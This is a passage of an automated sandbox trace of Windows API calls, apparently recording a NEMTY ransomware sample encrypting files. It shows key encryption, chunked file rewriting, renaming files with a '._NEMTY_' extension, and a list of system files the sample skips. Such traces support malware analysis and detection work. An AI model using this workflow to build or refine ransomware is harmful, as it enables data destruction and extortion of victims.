HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94278 | out: hHeap=0x4f90000) returned 1 [0069.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0069.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0069.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0069.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0069.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0069.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0069.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0069.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94278 [0069.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0069.218] Sleep (dwMilliseconds=0x5) [0069.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xdce95af0, dwHighDateTime=0x1d561e7)) [0069.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xdce95af0, dwHighDateTime=0x1d561e7)) [0069.230] GetLastError () returned 0x5 [0069.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0069.231] GetLastError () returned 0x5 [0069.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0069.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0069.231] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0069.231] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0069.231] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0069.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0069.231] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="8Xy0u6gx4kycEdCG59h/rjMpvHUasKLon+KwDizM+g9ytCVohpgAxuvXP0gOeK+N\r\nG6XufQJNmv2tMSLiidRWVAlYJ10KwWwcpuHU5mlwhpEMQicpxNdn8AJ6kAhxeK4F\r\nwcQ7YKGUqvdw4SyBTk4eD9XVSz/0PRbXCfEtWqRNwwNAlQwo5/LrfNX4OjitIT+R\r\nXlX2ZodtXpgD1jKWUKJybz3afljRaHt2kKKsEeP4J6OTBPK5uy4ogww4L3S7Ov8b\r\n+ycVILYq7SNXyr0KxOsQvLCymYU6oqjYm67Nr5DQRNw0+/gY4JkPJoSYiJSLO8BU\r\nMbXoY9bRbXD8KqT3R0RlOA==\r\n", pcchString=0x653ec5c) returned 1 [0069.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0069.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0069.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0069.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0069.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0069.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0069.231] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0069.231] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0069.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0069.231] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.231] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.241] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.250] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.250] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.259] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.260] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.269] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.269] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.278] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.278] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.278] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.278] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.287] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.287] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.288] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.297] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.297] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.297] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.297] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.306] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.306] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.316] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.316] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.325] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.325] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.331] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.331] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0069.337] CloseHandle (hObject=0xffffffff) returned 0 [0069.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94320 [0069.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0069.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0069.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0069.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0069.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0069.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0069.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0069.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0069.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0069.337] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0069.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0069.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94320 | out: hHeap=0x4f90000) returned 1 [0069.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0069.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0069.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0069.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0069.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0069.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0069.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.338] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="...") returned 1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="windows") returned -1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="rsa") returned -1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="programdata") returned -1 [0069.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="appdata") returned 1 [0069.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0069.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0069.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0069.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f941c0 [0069.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0069.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0069.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0069.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0069.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0069.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0069.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0069.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0069.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0069.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0069.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0069.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0069.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 